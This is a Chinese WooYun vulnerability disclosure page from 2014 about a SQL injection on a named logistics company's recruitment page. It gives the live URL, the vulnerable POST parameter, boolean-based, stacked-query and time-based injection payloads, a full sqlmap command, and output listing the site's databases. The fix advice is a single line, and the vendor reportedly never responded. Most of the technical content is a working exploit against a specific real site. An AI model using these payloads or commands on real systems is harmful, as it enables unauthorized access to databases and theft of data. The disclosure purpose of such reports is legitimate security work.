当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-077253

漏洞标题:优速物流公司主站注入漏洞

相关厂商:优速物流

漏洞作者: Xc0d3r

提交时间:2014-09-25 11:39

修复时间:2014-11-09 11:46

公开时间:2014-11-09 11:46

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-25: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-11-09: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

某物流公司主站注入漏洞
oa和bbs在同一数据库下

详细说明:

注入点:

http://www.uc56.com:80/cn/job/recruitments


注入方式:

post


post数据:

keyword_input=%e8%af%b7%e8%be%93%e5%85%a5%e5%85%b3%e9%94%ae%e5%ad%97&lid=-1&tid=


注入参数:

lid


Payload:

keyword_input=%e8%af%b7%e8%be%93%e5%85%a5%e5%85%b3%e9%94%ae%e5%ad%97&lid=-9789' OR (9790=9790) AND 'WeDl'='WeDl&tid=

漏洞证明:

root@hack[x:\sqlmap]# sqlmap.py -u "http://www.uc56.com:80/cn/job/recruitments" --data "keyword_input=%e8%af%b7%e8%be%93%e5%85%a5%e5%85%b3%e9%94%ae%e5%ad%97&lid=-1&tid=" -p "lid" --level 2 --risk 2 --hex --threads 6 -v 3 --dbms "mssql" --dbs


---
Place: POST
Parameter: lid
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: keyword_input=%e8%af%b7%e8%be%93%e5%85%a5%e5%85%b3%e9%94%ae%e5%ad%97&lid=-9789' OR (9790=9790) AND 'WeDl'='WeDl&tid=
Vector: OR ([INFERENCE])
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: keyword_input=%e8%af%b7%e8%be%93%e5%85%a5%e5%85%b3%e9%94%ae%e5%ad%97&lid=-1'; WAITFOR DELAY '0:0:5'--&tid=
Vector: ; IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: keyword_input=%e8%af%b7%e8%be%93%e5%85%a5%e5%85%b3%e9%94%ae%e5%ad%97&lid=-1' WAITFOR DELAY '0:0:5'--&tid=
Vector: IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--
---
web server operating system: Windows
web application technology: ASP.NET 4.0.30319
back-end DBMS: Microsoft SQL Server 2008
available databases [10]:
[*] *
[*] 0x6d0061007300740
[*] \cOa
[*] model
[*] msdb
[*] SYSUNC
[*] tempdb
[*] ucbbs
[*] UcSoa
[*] ucweb
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:


漏洞证明1.jpg


漏洞证明2.jpg

修复方案:

根据 lid 参数的类型
做对应的过滤

版权声明:转载请注明来源 Xc0d3r@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论